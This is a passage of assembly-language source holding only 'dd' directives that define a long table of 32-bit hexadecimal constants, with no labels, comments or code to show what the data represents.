dd 46C91BD4h, 7458043Eh, 0B9430A62h, 2B44C258h, 13026008h
dd 1C9D2EB6h, 6BCE88A4h, 50B8B283h, 0F7460708h, 0C063834Fh
dd 0C2313442h, 54DBEF00h, 53DDF44Dh, 0F4554C47h, 6150E9C0h
dd 3AE0AED3h, 0EF286C0Fh, 4B8A20C6h, 26532340h, 60209717h
dd 5B381AECh, 8352AD0Eh, 0FF1F200Fh, 0B86F0AF4h, 3CC54CB2h
dd 83992C32h, 524074F4h, 810627h, 2FBBF696h, 0C3C8FDCFh
dd 31B50702h, 4670EF53h, 25A04E4h, 0A011F625h, 2C4ADC34h
dd 8514B888h, 4B80319Eh, 5F653DF7h, 995E0039h, 7747FD94h
dd 76FA11DEh, 823F5A17h, 0CEC0FCE2h, 0CAC87009h, 8D14A400h
dd 75E1D85h, 0E8AF0072h, 0D233AB6Fh, 0B09F7FADh, 73F6AD4h
dd 4F0B2FC6h, 2A96A3D4h, 515A22D8h, 29D29302h, 7F94283Bh
dd 3EF90C98h, 73B9CF25h, 35F70074h, 0A4F457C9h, 0E069FB27h
dd 0BC74E76Ch, 61D3C098h, 75000BCDh, 8DA585C8h, 122A27A1h
dd 3423056h, 0CC1E9FD8h, 24DAFDDAh, 9201BFFCh, 6E30DDA8h
dd 431840Fh, 64AC287Ah, 6FD5C100h, 230AD8B6h, 0A0331603h
dd 91AC0146h, 69A78440h, 475900F8h, 36D9EEF6h, 997201CEh
dd 8268DC8Dh, 82683817h, 51EFAB69h, 32151370h, 220DFF0h
dd 7068AAEBh, 0BB25048Eh, 0C04289D1h, 0B42252D0h, 82786AC2h
dd 389B5F60h, 8D8082E5h, 0E9205F26h, 7A48C014h, 5716640Ch
dd 0D0C89E16h, 0DB78014Dh, 8930319Bh, 128029F7h, 90FC5CDCh
dd 3C467800h, 9C0A2890h, 846CCC01h, 471C861Eh, 0F2D7143Dh
dd 8EB0E04h, 1C1B22B1h, 45E18084h, 45C3349h, 0B2349071h
dd 8074D5A9h, 6D57F148h, 1356EF3Ch, 0DC88C314h, 105FED4h
dd 91F2134Ch, 6A714AD6h, 3A54CA0h, 89ACCF60h, 4CF2F198h
dd 8D001852h, 5CFCECD3h, 50167D33h, 9E84E835h, 0B3644074h
dd 934A1CD6h, 0F6FC7C80h, 0A44E022Ch, 3E4A92B0h, 0C91FCD8h
dd 16435D80h, 0EDEFE7EAh, 0B913A07Eh, 32FCAC0Eh, 0C8388B18h
dd 13BAB53Ch, 0FC9C9540h, 54885ED8h, 0D9540248h, 5283E74Fh
dd 80B7CD6h, 6B8056BAh, 0B1EEA090h, 3B7919E4h, 43008473h
dd 97B30C44h, 0F68D115h, 0D96EB8C5h, 23DC0DA0h, 620898E5h
dd 6B120Bh, 0CA4EC3D2h, 0A249B85h, 67420CB4h, 1F9C5E96h
dd 0A9C2CF55h, 0F0F797h, 18B142EBh, 2C407D94h, 95BB40Fh
dd 680EDF7Ch, 0A0C89350h, 14A82E61h, 0A1B5051Fh, 2BD4C2D1h
dd 6F1C5C29h, 29314240h, 6800F6F4h, 8DA04F9Ah, 60340462h
dd 5036D822h, 0E01837DCh, 6769B1A8h, 236FEB3Fh, 0A9166108h
dd 0ECB430DFh, 104F00D8h, 2D90511h, 52206480h, 0DCA72507h
dd 0CC3C70D0h, 885C5C61h, 0FDB08091h, 5AE24B59h, 0D1AD0C00h
dd 8CB56DC6h, 9CE514D4h, 15098C35h, 18F64AC3h, 0B5C0EC6Ah
dd 5F55F488h, 0FB6C9889h, 48FF1A00h, 41C24793h, 2C9095D8h
dd 6E00DE3Bh, 1CE28ABBh, 1DBC798h, 35062388h, 3FD33648h
dd 32184CCh, 2C091B78h, 0C6C1ACF5h, 2D842C60h, 6CF117h
dd 19BE29E0h, 543CC338h, 0CE1414DCh, 8E10010h, 0D206010Ah
dd 321F2DCCh, 5988F47Bh, 53829E6Fh, 9D2030B8h, 27099037h
dd 7E04F83Bh, 0D4142D14h, 1EB5DD02h, 80BD2423h, 9AF005BCh
dd 9CE80190h, 13EEC904h, 867C7858h, 360A344h, 0D87A850Bh
dd 9F016DCh, 4891A8FDh, 0A4674E80h, 3E2AD3Eh, 32CB70E9h
dd 0F2CDF7A7h, 70245E4Ch, 32839780h, 9E9900C6h, 5584E028h
dd 415CFBF1h, 788A02D7h, 5AF5FF9Bh, 8B9020C8h, 6F09DF00h
dd 0E5D8E9D6h, 128B9D4h, 27D46FCh, 0ED6EFCCBh, 9BC63E00h
dd 0C36C08FEh, 0C47A01E7h, 0C13695A6h, 2F6070CBh, 2CF0774Ch
dd 0B050CC87h, 0CE630790h, 100D64FAh, 0C65966CDh, 6C805000h
dd 5F68ED4Bh, 352401BAh, 0FDAB9A6Bh, 0F0C52E92h, 9449B830h
dd 9E290CA4h, 37B8F1F4h, 521C7005h, 0A0C247FAh, 4B4C50A3h
dd 17D04DE5h, 38606AD0h, 48ACFC1Eh, 23008724h, 0FFA70AF0h
dd 51259B52h, 897019F6h, 76608410h, 0B691C091h, 20CA0101h
dd 0E0D8ADBDh, 0E81E2AACh, 0CECAC07Bh, 6001871h, 0CCB2557Ch
dd 3E9B25A9h, 0A8012C64h, 88BDF2EFh, 0DC2E6F69h, 0F903F058h
dd 991B2C0Eh, 1F9AD808h, 3F6416F5h, 8C24127Ch, 0EE00EC44h
dd 6EE44314h, 752B01B0h, 1A460BC1h, 1CC23ADEh, 0C76A0860h
dd 0BB44D494h, 8600F54Fh, 0F49C5294h, 0E380DE26h, 3D37D700h
dd 0AA66B6h, 0F2096755h, 25DDBD9Ch, 7BB8B125h, 6FE400C4h
dd 0BC906DD9h, 61E09AE0h, 43B1CB00h, 0C1084CA7h, 26B80BC9h
dd 0F4825280h, 98FC6D62h, 0A8816841h, 5B26ABD4h, 0D1D440FBh
dd 0AABA29A7h, 112FF0B1h, 923F3794h, 79E0AC20h, 26583306h
dd 0E4D3FA6h, 0B6C20C34h, 0EF424423h, 0FDC19592h, 9F7A0010h
dd 6B46E000h, 0EA9B3F50h, 0E25900EFh, 0FC6083FDh, 4100938Fh
dd 46CCCF21h, 0E9A1B7F6h, 5040D7F9h, 5260F487h, 0B322A889h
dd 6325CD00h, 0EE435E52h, 0FCF00C6h, 0BE3E606Bh, 96004ED0h
dd 856C2848h, 0C3A111h, 20F5B2Fh, 0C42278EAh, 845C5E06h
dd 0C18C1B2h, 0E79D8533h, 28C14860h, 5DFB1EBEh, 1FC75BD0h
dd 8F5CF837h, 5AC096F9h, 0CDAB84C3h, 0F425D701h, 36B43875h
dd 0BE4EE8h, 19B77CA5h, 3F481F02h, 4D57C507h, 0F340677Dh
dd 94E081h, 0F178A67Ah, 0AD46FDFCh, 44D23500h, 0C6AE9892h
dd 0C9EF30E4h, 47767148h, 0D57A6000h, 36D82BB3h, 669C01EBh
dd 8D70831Fh, 0CE28801Bh, 0C3216AC2h, 6D4E0317h, 0D801C5FEh
dd 5C9E2BB8h, 2EDF4000h, 304B4743h, 7AE31871h, 22CA3834h
dd 0F697BC0Ch, 0B910A6h, 3EC1E578h, 0EE234EACh, 8656D11Ch
dd 810018E8h, 4667D63Fh, 2190BBh, 71AF4930h, 19C57F83h
dd 0D0B42724h, 0D2E7A506h, 132600C9h, 252A5A10h, 88007231h
dd 32149F2Bh, 0F86061h, 5786B1D0h, 4A20CBA6h, 9AE1D30Ch
dd 18A57073h, 0E9198F9Ch, 0A2079FB3h, 650D8ED5h, 0C8BAB180h
dd 0CC6A00BFh, 0D9827528h, 0B00046F7h, 2EED5F8Ch, 304F4145h
dd 0A5C1B21Bh, 11078D48h, 18D35519h, 0DEE058CAh, 0F60C8C8Eh
dd 8957006Fh, 479BD383h, 9A035E90h, 0B0F73D6Eh, 3328F8A6h
dd 7C706015h, 4AD868EEh
dd 1E5E9F48h, 0B1009C64h, 297F3D2Fh, 43BA30EDh, 0ECE7CE61h
dd 0EE546BF0h, 7100E2BCh, 0D8291548h, 0A89E93h, 49679F19h
dd 0C2DAC466h, 0CCFF472Ch, 0F7225200h, 60E76F4Eh, 20D251EDh
dd 8D031D4Fh, 0EAFC4059h, 0CA6900D1h, 7189FF77h, 0BB0A13F3h
dd 1C3930EBh, 81F18D0Ch, 0EE580350h, 0FB13B13Bh, 37B583C0h
dd 0C648FE00h, 275A6772h, 0EC650174h, 0CAC7E49Eh, 0F26D0CA5h
dd 629300CFh, 39C41C2Eh, 704022D0h, 317266D2h, 0B8001CBCh
dd 0B4C071F0h, 486776h, 0E11087BFh, 0AE189F84h, 0DEE74418h
dd 0D0FC59h, 4C9E7172h, 34C38F26h, 661C797Bh, 0C76468EFh
dd 7FA9E930h, 459D00ECh, 89265C15h, 47F8819Fh, 0ECE50229h
dd 4F1BA403h, 7616D009h, 9B2A00C0h, 276303DDh, 9200515Eh
dd 0F82198C5h, 30E74547h, 6E38C8A3h, 0A8A82FD0h, 400BFBEh
dd 4B1DE88Bh, 0E236A371h, 0AD78006Fh, 0E7E5606Eh, 0ACA8F38Dh
dd 0B100671Ah, 0E9E4307Eh, 493329FCh, 7C1E443Ah, 0F99F0065h
dd 0C5E22ABBh, 0A051EC03h, 0C8EA4692h, 5428656Ch, 3A5A4CDh
dd 9A75A9E1h, 52CA4E31h, 0F62F98A7h, 0E311A94Ch, 300A3D74h
dd 44F4D7FCh, 6D2F40FFh, 319446Bh, 0A3E83D23h, 76886721h
dd 0C07A9F63h, 42AD3018h, 2EECE39h, 1B8F8623h, 0FC91271Fh
dd 77A010ECh, 0DA2101A1h, 2E2D880Ch, 0CE31E0CCh, 18CAF928h
dd 81FC50CCh, 73AE2819h, 3469500Ch, 0B95B60D7h, 0DE9C9245h
dd 76E71718h, 7CDB0AD9h, 667D0E06h, 0D16623E4h, 0DD003183h
dd 64AC3938h, 6019BB12h, 57A519B3h, 990C4D3h, 5F6ED900h
dd 410D3F99h, 0B8E189Fh, 272A28A0h, 0FD638DF6h, 0C88B96A1h
dd 0F1DEE8h, 0D97E3788h, 45356781h, 0CE393B0Ch, 44D768EBh
dd 7076F431h, 0FD1DF200h, 0D28310A3h, 0EC7D4F3Ch, 713E2685h
dd 627BDB00h, 5A6E79h, 0CD8B3F25h, 0D6F89CDCh, 39CA79C0h
dd 1C4615h, 41D3F709h, 78D0ED8h, 4F190A8h, 6A2FA400h, 3F6E4E05h
dd 2DA2010Bh, 5A8E7767h, 97BEC69h, 5133D637h, 0B8A6C510h
dd 58FE0091h, 98BB8A7Dh, 8400BEABh, 0C9923E9h, 4B243448h
dd 0CE25B094h, 45E42777h, 18FDE637h, 7AE29A3h, 8CBB3408h
dd 8FF1E0FEh, 81DD261h, 5DDF79C6h, 0B569A240h, 3BD74D1Eh
dd 37B718B2h, 1D66E240h, 0BC77C420h, 3DF80158h, 1EB00E5Fh
dd 9114424Fh, 9E513481h, 98BB41h, 472961EFh, 1FD52098h
dd 420A97C9h, 2DE66258h, 60AB2420h, 45290688h, 18250EE4h
dd 0A010E754h, 0B3C4E906h, 0F871BF45h, 5AA90619h, 29B0293Eh
dd 0A1BE1000h, 9A718E2Bh, 2FE75CADh, 66500A00h, 2D7C86E9h
dd 0A619D4F6h, 3BE94A58h, 0DE9A050h, 7E2F00CAh, 0E27AC503h
dd 0D903A426h, 0D1B2B070h, 7791850h, 9AE9A102h, 9CC13200h
dd 1F7087E3h, 0D11B00C2h, 0ED5CEC81h, 480F698Fh, 61BFB052h
dd 9B33E5F9h, 80E88C56h, 186CB164h, 5916BC52h, 56304CD4h
dd 0F63E283Ah, 71D0184h, 7B861A93h, 0EC9CF5A6h, 8200E8CEh
dd 0A063F49Bh, 3D1D0FFEh, 0E58CF248h, 74414E2Fh, 69F90830h
dd 1D5ACDh, 0DAAC2284h, 0ECA5C52Ah, 4254A307h, 13609718h
dd 0B05875h, 0D43A45E9h, 0B7DF221Bh, 0EE0A7900h, 0FEABBFD7h
dd 95FB018Bh, 78680E61h, 58884808h, 0B00A7100h, 0F1FEDD29h
dd 9F010034h, 0FA4A54Bh, 0CA281A3Eh, 0B926828Ch, 26158C4Ch
dd 3D4E00DCh, 75324A4Bh, 2E9907D3h, 0F6545619h, 0A21E68CFh
dd 1FC1B4D0h, 33E735F9h, 0BC243987h, 0CFE18C07h, 7690D000h
dd 21A4FAA1h, 0E1560347h, 8C9ED689h, 84E2AED0h, 0B1080733h
dd 7010E0ABh, 0B46D0167h, 0FF2B0E9h, 0A6CC504Ah, 7073116h
dd 14D795E6h, 307F34F1h, 1767CD4h, 0F9A78362h, 8CFB716Dh
dd 99AF2981h, 0CFD7249Eh, 0F4060071h, 395B6D95h, 16339B1Eh
dd 0C9A5830Eh, 0BCD400C8h, 522FE68Fh, 0B840D841h, 30E57854h
dd 0B651B429h, 0FB01FED7h, 127CA384h, 0BAD87330h, 37D30015h
dd 4DABC926h, 0BF0FC427h, 615775DEh, 4BA0E5E0h, 0BA455985h
dd 0B35408E6h, 1BEA7780h, 3FFC0AB0h, 0E08181C6h, 26B2B8D7h
dd 78C2445h, 0D639E560h, 1B3DADh, 0E7372177h, 3A78F1B0h
dd 89048371h, 17AC90BBh, 0AC50CC0h, 6B5E0366h, 0C045E21Ch
dd 0B3F6AF90h, 3544890h, 3F00EBC0h, 49F9899Ch, 74B6B52Eh
dd 9F6B008Ch, 33177ABEh, 0AF025255h, 0E277C02Ch, 0E2C663Fh
dd 88995E5h, 0B106A9E0h, 43285FFBh, 0F6FEF5Ch, 5E9E6061h
dd 0E4F76212h, 0C361124Ah, 6DF8200Ch, 0CE00AC75h, 54418803h
dd 26F2DDFAh, 609831CBh, 0BDCDAC5Eh, 0F80F4700h, 8B7D41E1h
dd 0C61A01F1h, 15D17F0Ah, 67103079h, 80841148h, 6319C55Eh
dd 0FC407806h, 0B558009Ch, 0BCBFB989h, 0C1001FB8h, 50D60199h
dd 0C009E852h, 0D75FE739h, 0A00A8FDFh, 0C35438D0h, 2131BC1Ch
dd 9980AD29h, 6E74C399h, 0AA00B3B0h, 2A909128h, 7711EBh
dd 0D1C5D6E1h, 0E8C11B0Fh, 0A8DEA0C0h, 0C1BB288Fh, 0EAF87C41h
dd 0E9D9F49Eh, 2921D700h, 0F7A98AD1h, 4C9E440h, 0B2C01DC7h
dd 0E80488D0h, 0D4A6A412h, 6271A030h, 0BD91005Bh, 8F5E7ADEh
dd 9207459h, 0B6482436h, 405C00FCh, 2FE19A4Ah, 0C100D499h
dd 883FCF1Eh, 0C8F0FA0h, 99A77AF4h, 4FB1B0ECh, 7C2CB86Eh
dd 0BD13FDB6h, 0BFFAF830h, 0A79100E9h, 5D0E5A5Ch, 0BC01DBFCh
dd 0D76154E5h, 0C34984Ch, 0EF00071h, 1EE35AC0h, 5F4CBDC1h
dd 0A4BBC038h, 3F1DB2h, 40861CD0h, 0A0E6730Eh, 0C441AC24h
dd 5F2B5140h, 58813CE0h, 6DB7E100h, 0D16BC4C1h, 0D709EAE2h
dd 252A7F20h, 5400BEB0h, 4D958D15h, 781F4836h, 0C1000422h
dd 6746E4A7h, 0EB1442h, 4ECE5CD7h, 0BC172CB0h, 9A44FF0Ah
dd 8440B010h, 2DAA228h, 97FC3C38h, 0F4C1F8F6h, 0BC3C3018h
dd 2FE710EFh, 30F49249h, 17895D0Fh, 0A0003FB1h, 5C0980BCh
dd 0F4FD6FC1h, 0E8302D79h, 88AB8D05h, 48F545ECh, 0C10619DCh
dd 298B6607h, 2DAF1D21h, 63262040h, 0AB60C0E6h, 684D138Ah
dd 2BA1195h, 5E878228h, 3E2D10E0h, 51E839C0h, 629E8456h
dd 0FFBA70A7h, 0CCE09829h, 176D0049h, 3F5D66FEh, 0E800E75Eh
dd 0B9220316h, 11B35F3h, 0ED33F1B8h, 4025905Dh, 64291760h
dd 3980E012h, 0DFA6A400h, 0A3A39E2Eh, 0E37019C4h, 0FCA2310Ah
dd 422EE993h, 0C2028C9h, 7703D476h, 0C79D9E0h, 0FDB90035h
dd 0AB2ECB9Eh, 0AA024D15h, 0D7331BEFh, 7DA86407h, 0FC6876E0h
dd 0DB3C00C9h, 0A4BE6B8Ah, 5A04A8E8h, 1C5CB8E6h, 534CCC81h
dd 2690D457h, 126099h, 0FBA28ADEh, 92161563h, 402F7526h
dd 0A84A8C43h, 0E196A1h, 0D3337322h, 982A311Ah, 0A30A9300h
dd 9FB076D7h, 0F46C48D9h, 0B9330C18h, 160F74AFh, 4A1EC03Ah
dd 2311F8D5h, 1199801h, 0D418351Bh, 9A03497Dh, 859F1FECh
dd 0D1C6D157h, 1A4D6C0h, 5CBC22DEh, 418B676Dh, 0EF745520h
dd 0F49005C2h, 5788401Bh, 0AC9F1388h, 71604446h, 31E7450Eh
dd 31BBF8CCh, 5241E08Bh, 0DD8C5050h, 7B007DB1h, 6C750A39h
dd 108D4B6h, 8BE7907Ah, 0B861BAD7h, 68C430h, 519FF35Ah
dd 0CE2A47EFh, 0A5697201h, 17BA8902h, 0BF060832h, 81282FE8h
dd 5EE1A000h, 62EB5614h, 7FD01CBh, 51C9E6A6h, 0DD9C60FAh
dd 0B3BCD1CBh, 0F00FA178h, 3D9424h, 3FDA55Dh, 9031B472h
dd 0DB93560Ah, 9D029CC7h, 40223989h, 202AE528h, 689041ADh
dd 80381048h, 0E32395C4h, 35F43C8Ch, 579DA600h, 918A8B0h
dd 9C3EB526h
dd 83AF2E08h, 0F363F8D1h, 0F04F12E1h, 9002959h, 0E40CD857h
dd 121F1A5Bh, 24A4E5E1h, 0DB5840C8h, 57716A83h, 9C8CCD05h
dd 88D2D7DFh, 0A81B210Fh, 11B2FC56h, 0B4E4FB28h, 924744h
dd 0C45C2536h, 0BB6D7503h, 4A665F00h, 453B42E6h, 0A6DD120Eh
dd 0C370904Ch, 0BF0FB6B4h, 2F7D3E9Fh, 8077218h, 20866674h
dd 755C1CD1h, 6BDD84DFh, 0BF148802h, 768C6307h, 47254116h
dd 90770480h, 52093E6h, 0CEB00B82h, 2D870054h, 0BD5A22B5h
dd 0F39D0F0Ch, 0C2BC0178h, 3789085Bh, 0B229ACE8h, 0AAD51C0h
dd 59506CDh, 8EA27759h, 0BCD9C08Fh, 5409562Dh, 306898CCh
dd 0A74254h, 0AE3055A1h, 0EAA9DD5Dh, 8E5270Bh, 0A0C48156h
dd 0F44C0307h, 3FB0007Dh, 0B9C22F28h, 0F6F03AEAh, 4FF874F9h
dd 0A7A6D450h, 0F614462h, 46E46864h, 0C45D00E5h, 9B5112Fh
dd 82C2773h, 64044C3Ch, 0B493357Bh, 48310BC0h, 4200AC10h
dd 0F017C5D7h, 734A83Ch, 0BFC076F7h, 485B4D12h, 90755510h
dd 1334218h, 0EED721E9h, 0ED0C9E2h, 0B078037Bh, 179E5A6Ah
dd 0E5E8D009h, 746810A5h, 0E35000C1h, 0C9400215h, 2320CCD3h
dd 13F8ACAAh, 170AE9A0h, 7B04614h, 0D900B1FCh, 6FB99C52h
dd 1C1C3F27h, 0C989796Ah, 0C8118051h, 90642854h, 0B81C3574h
dd 50676030h, 0FC0D2CB1h, 1F502487h, 316698BEh, 310008DEh
dd 5FA26B02h, 0E670FD7Bh, 94955CECh, 0B7A2F12h, 0A0131928h
dd 9FAC8BA1h, 0F134AFC1h, 0F414ACC1h, 61293ADCh, 5B9D218Bh
dd 78C8622Ch, 296204ADh, 1F705037h, 0C0F267CCh, 87FC0F27h
dd 9001A258h, 35FB7CD3h, 53F41629h, 0E0CC2836h, 11B84214h
dd 0A218278h, 90F56308h, 47B788B4h, 0C684E82Eh, 70042561h
dd 9F6003A0h, 12BFB17Ah, 0E020D1C9h, 67B847h, 493B63F9h
dd 4368B271h, 52395C04h, 7EC070E1h, 0F819DA34h, 0E45F00CAh
dd 4C54BFFh, 6C1FBE52h, 60C0CF98h, 5D303894h, 0A5D900B0h
dd 96844C91h, 0EF399B1Bh, 71F000ABh, 2AC003CBh, 1E3E015Ah
dd 9BBB2D42h, 634DF818h, 600C0400h, 2184A27Ah, 814C00E3h
dd 0ED2DE4DCh, 0AB0D8D5h, 0F2013600h, 0AC2C42FAh, 0B9321CF0h
dd 0C697814Fh, 0F0A10790h, 26006D10h, 6BEAC4A2h, 27EB78h
dd 0BB318206h, 1C086FCFh, 0CDA28300h, 8AB61FC4h, 0C6BE18DFh
dd 85B98030h, 4DB36A00h, 4207D60Fh, 0AFEF0093h, 0A753CDF8h
dd 300019A2h, 50BBF117h, 0E42DABC0h, 0A0980040h, 0F686D409h
dd 0CA3CFE99h, 62F003Ah, 50AA712Dh, 0BA73008Eh, 0DB2C122Eh
dd 5F001D68h, 396163D5h, 0EF5D2Bh, 95CFA84Bh, 65E76FD0h
dd 0E137FB0Fh, 27D90384h, 0F57087ADh, 8329FAh, 7174F228h
dd 0F7EDB6BDh, 7672DB00h, 0CE2FD6BBh, 0ECE40046h, 8E7114C6h
dd 0C7EC9FC0h, 3B772D00h, 551E4164h, 32350042h, 3EC5FDDCh
dd 2060BB24h, 0D3F19ED0h, 43CF65Eh, 0EF369D8Dh, 0ED358377h
dd 33342000h, 0DD96EE7Ah, 0ADC900EAh, 0BEA7B29Eh, 5FE26CDBh
dd 4CE48300h, 0C86DA17Eh, 0ADF10125h, 0FFA0635Bh, 64D3E8F4h
dd 80F2D238h, 6A280AA6h, 389053h, 5C5D259Ah, 8AD9500Dh
dd 63E1E01h, 0A1953717h, 19F0D7DFh, 500BE2h, 0FDE003D6h
dd 4EAA528h, 9C20A000h, 12331593h, 90C84C6Ch, 0D38FC01h
dd 0E4364B2Fh, 0A80066E0h, 1FFB500Eh, 0E47CC93h, 0C1856591h
dd 52B96AA2h, 0D6AC40FDh, 80664FABh, 2AD46C1Fh, 7BFF8D00h
dd 700801B8h, 83E40058h, 0C0C92709h, 22009D69h, 45616455h
dd 102D5FEh, 0BDD325E9h, 0C809A618h, 0ED034DB5h, 0D92D6AA7h
dd 6D7AE841h, 891200A0h, 33ABDF44h, 9930A842h, 0AD871109h
dd 12B20005h, 2E46F8AAh, 23014B4Ah, 6C7C8FA2h, 3820D53Ch
dd 59F441Ah, 0B612E00h, 0C3E26A1h, 0FCC90016h, 146F48F3h
dd 24702C93h, 0EB511D16h, 5043FA00h, 1EAF7Eh, 192F2A08h
dd 25BF11B8h, 0A6CA3702h, 40F33F2Eh, 13A44317h, 0EE4D32FEh
dd 859A000h, 61ADC1h, 0E684258Ch, 0DE8A521Dh, 68CC1602h
dd 8AF9A387h, 921E03C7h, 0BDA66000h, 25E80Eh, 47AD267Bh
dd 0B8E097ACh, 0B91EC800h, 0AF82D40Bh, 0E4B30080h, 88630523h
dd 0CB00E1DCh, 0D5F14C27h, 176200Eh, 110C0824h, 0E4DEB5BBh
dd 0B0001080h, 0C2D881FBh, 31AE03Ah, 932EC39Eh, 61C0561Dh
dd 3600DBC8h, 0E32A42FCh, 0BAB54Ah, 2085E53h, 9DB79C64h
dd 6867E800h, 0DCE37F61h, 4FFA1374h, 0E7280150h, 0C1D3FEBBh
dd 2EF8C7E4h, 7001660h, 0B58BB4BFh, 56D6357h, 87F39449h
dd 0D5C420E5h, 2000115Bh, 0B342AE41h, 5EB590Ch, 8203705Dh
dd 7AF40045h, 33957BD4h, 52E33D00h, 0D9FA58EEh, 46EF0073h
dd 6013E971h, 41006524h, 31EBDD74h, 398CC6BAh, 22809718h
dd 0AFC27AE7h, 3400C852h, 814D093Ch, 309633A6h, 77703273h
dd 0A3E61FE8h, 0E17A0AEEh, 0FF671B00h, 7BD668E0h, 579D180Bh
dd 0DBF42078h, 9102277Bh, 0B5A7AAD5h, 0F5914077h, 0F9CF0033h
dd 9B9C78DDh, 0DCFCBAAFh, 0B8E55439h, 0D5829EBEh, 8ED93742h
dd 0D3F48055h, 6EF86Bh, 28C32E76h, 891EF216h, 0DF6A7307h
dd 4CF0F52Ch, 0FE1988h, 0FF951F86h, 0AC13F18h, 7FCB6200h
dd 30742063h, 0C659005Ch, 5EAEC0E0h, 3600AB9Ah, 0CD6E947Bh
dd 0CA9910h, 75C6FEDEh, 7E3C2D82h, 7688B42Fh, 56E80BEBh
dd 5C4AEB00h, 0F200B35Eh, 909C1B67h, 2104BEh, 9D741008h
dd 99D20BFFh, 3E236003h, 376720h, 1EF96321h, 15107FEFh
dd 0CCB4E0Eh, 653F0001h, 123F3BDh, 2881EB4Ch, 0C05DA9B7h
dd 48005FA0h, 6E34CF2Eh, 1B0159h, 0BEEB1208h, 0A37101Dh
dd 5CBFCD0Eh, 0EDA340A7h, 0A0CE7Eh, 0A97C8CC7h, 4D24E259h
dd 0D1FEB900h, 817E0DA6h, 0D57500D7h, 84FA863Dh, 0B4009648h
dd 0A288911Dh, 0C0C557F6h, 40219AF0h, 0D1EA14AEh, 4BE26000h
dd 0C37CB65Bh, 0CB6300AAh, 0DDD33A34h, 0E43C8D8Bh, 681D001Bh
dd 0FFE16BE8h, 1039062h, 90D3F07Ah, 0EF3866EDh, 106407B7h
dd 0F75ACF63h, 9BAD3207h, 8E00FE20h, 3A82296h, 90BD8DBFh
dd 0B004F888h, 55CB4D2h, 5A8088C0h, 268900E6h, 0D3292C0Ah
dd 9706DF07h, 21B0FEA2h, 4FD52648h, 0DC518020h, 0C8824BFCh
dd 167EE938h, 380070F3h, 222BA701h, 0BC1F0246h, 0B6683B61h
dd 0E57C4C60h, 0CFE3660Fh, 0B4DC40DFh, 79026C70h, 0FC6A0077h
dd 0DBD2094Dh, 9A00E6AFh, 0CD3ADAE4h, 138BB55Ch, 0AE0A14Bh
dd 8C70A8A4h, 0DEF8F36Bh, 0C90071E8h, 7B2C61A4h, 0B8F6E82Bh
dd 62850074h, 3EF37C34h, 4003EF83h, 7BA0B249h, 15CA80D8h
dd 22700287h, 2B9DF54Ah, 420E80D5h, 2A98F28h, 2E15F40h
dd 68C0077Eh, 8200CC80h, 0F449FBBDh, 0DA2A0Ah, 0A423856Ah
dd 0B59113F7h, 1E4A73Ah, 39E18A0h, 74F0C8B7h, 0E064093Ah
dd 0D0208228h, 0F4C93112h, 68EAAB2Ch, 6BE58E00h, 2EF6ABAh
dd 261A8013h, 9C802811h, 0A864AC75h, 49395Ch, 886E2241h
dd 0A96BDEh, 1FF95D0Dh, 19CF4F18h, 0C6696600h, 7F9DAD9Fh
dd 0C7CD1D4Bh, 0E0408E6Fh, 81D341B8h, 1EF69238h, 4B807CC2h
dd 4FD91194h, 0A31403A0h, 570F8BC8h, 0FBE88A9Bh, 191FD52Eh
dd 46C354ACh, 0C05EECF0h, 0D29D55h, 21CE7510h, 5AAE0F12h
dd 0EB913E00h, 572E27F4h, 341C0068h, 0DF73F548h, 97068595h
dd 35DDF36Fh, 28A16C79h, 0C21B2679h, 7040B5D0h, 0FCB40019h
dd 4BE0C762h, 230C5B06h, 214D829Ch, 0E44F0C39h, 7111A57Ah
dd 0A3F20700h, 8EA0388Ch
dd 0AF1C0032h, 0DAB25DE8h, 0BF7B847Bh, 1AAB18C1h, 0D7C87A75h
dd 27F33BCFh, 0B866EF00h, 2D089915h, 3B980D00h, 0B23E3805h
dd 694D0096h, 0BF9F8406h, 0F0004815h, 0DD9824F6h, 68CA7Ah
dd 6327846h, 661E6447h, 393FC81Dh, 80210F0Eh, 0FB995BE5h
dd 0BB2003F9h, 88B6C098h, 4FCF41C0h, 0C89F7807h, 0DBD07105h
dd 0A09AAB28h, 395915B4h, 0AF001E1h, 4F785276h, 9F0600F1h
dd 945562CCh, 5718E000h, 0AA21DA8Eh, 0D3AF1F04h, 7E9C03F4h
dd 0BCD0EDE3h, 90A05D29h, 3A1E5647h, 0EBC0B273h, 1359A0A4h
dd 0C8940023h, 0EA1FB56Fh, 3004FCDh, 601BC94Ch, 7BB4066h
dd 0C0880713h, 6C716038h, 0B4003792h, 2DBF46BAh, 0CF9C32CCh
dd 2802384h, 0BB2ADB8Dh, 0DA06AD00h, 2D48AC4Bh, 0ECC9186Fh
dd 5A2FD844h, 0C67F3601h, 98EDC8D6h, 0E4670EF0h, 96A101C1h
dd 671739Fh, 69F4C874h, 8470AE00h, 0D8E43A95h, 1B17000Ah
dd 8CA2835Fh, 0BB582CFBh, 32850042h, 4964F60h, 0B1FC009Eh
dd 63FA0DD4h, 56399FBCh, 7D2DD879h, 2D5B3Fh, 0DA0470BDh
dd 4114510h, 7CC334BEh, 68648088h, 50046E5Bh, 0FC518EFAh
dd 5314EDC0h, 0B4EE2Fh, 3B5C9512h, 0B3AEDABCh, 1CE47401h
dd 244CBFCh, 25DE2984h, 785EC0A9h, 9800BCBDh, 3BEA9A47h
dd 9D05D0h, 4BD39EF3h, 0B4348B8Ah, 328FE700h, 5AED3390h
dd 10E960D7h, 54C07BFEh, 0B57DCF00h, 0AC5927F2h, 21C86037h
dd 0FCA7E153h, 3F0F673Bh, 7A1F00C7h, 0D08DF5B5h, 6C3E1C0Ch
dd 174740FBh, 96C60D38h, 0DB32C100h, 18BFA092h, 94B80FCDh
dd 40BDC54Dh, 0D8A571A7h, 3B0053B6h, 69E09F93h, 0A0B3B17Eh
dd 2674558Ch, 47005F63h, 0A606013h, 1C0C0721h, 280EA4CBh
dd 56730350h, 0F96722F8h, 0EA08D0D4h, 7226AD86h, 4397CB3h
dd 0A9D759A1h, 0C5559C90h, 208F0089h, 3C45B842h, 5304ADB3h
dd 0E929AAF0h, 788E57C1h, 18D82BE8h, 288262BAh, 0E60E08CDh
dd 0C07FE407h, 0E03B6BE2h, 9610042h, 39BF5EF9h, 0B0006320h
dd 0C1B7962Bh, 50CB9Bh, 4FAA060h, 0CA488E13h, 504FB630h
dd 3E8D924h, 0BD96F41Eh, 48888FFh, 5439B389h, 0BC448379h
dd 0F9156Fh, 0B0A6431h, 0D02306D6h, 287AE50Bh, 90330039h
dd 0D0E54h, 0E738C507h, 0B12103EFh, 0E25288C0h, 5DFA56Fh
